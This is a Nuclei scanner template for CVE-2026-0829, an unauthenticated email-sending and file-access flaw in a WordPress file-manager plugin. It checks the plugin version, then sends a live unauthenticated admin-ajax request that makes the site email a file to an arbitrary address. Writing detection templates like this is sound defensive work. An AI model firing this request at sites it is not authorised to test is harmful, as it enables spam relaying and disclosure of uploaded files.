Frontend File Manager Plugin <= 23.5 - Unauthenticated Arbitrary Email Sending

id: CVE-2026-0829

info:
  name: Frontend File Manager Plugin <= 23.5 - Unauthenticated Arbitrary Email Sending
  author: 0x_Akoko
  severity: high
  description: |
    Frontend File Manager Plugin WordPress plugin through 23.5 contains an open relay and unauthorized file access vulnerability caused by lack of authentication and security checks, letting unauthenticated attackers send emails and access files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can send spam emails and access sensitive uploaded files, leading to information disclosure and abuse of email functionality.
  remediation: |
    Update to the latest version beyond 23.5.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e739e7d3-756a-4c93-9ca7-f7b9f9657033
    - https://wpscan.com/vulnerability/57d62cea-cfb8-4421-a209-e64a015ad225/
    - https://plugins.trac.wordpress.org/browser/nmedia-user-file-uploader/tags/23.5/inc/callback-functions.php#L98
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0829
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-0829
    epss-score: 0.02584
    epss-percentile: 0.85767
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2026,wordpress,wp-plugin,unauth,email,frontend-file-manager,missing-auth

variables:
  text: "{{rand_base(5)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/nmedia-user-file-uploader/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 23.5")'
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpfm_send_file_in_email&file_id=1&emailaddress={{text}}@{{text}}.com&message={{text}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"data":"File is shared successfully"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ec3dff56d9ce4fe2207fd932a1c633b1a8a2a9939aa60f9d7d7bc5b7f2ba17ea0221008b3633d643518b9c8b92bafdabd39f948410f7de31d2c82dfcbb5f9cf6336a56:922c64590222798bb761d5b6d8e72950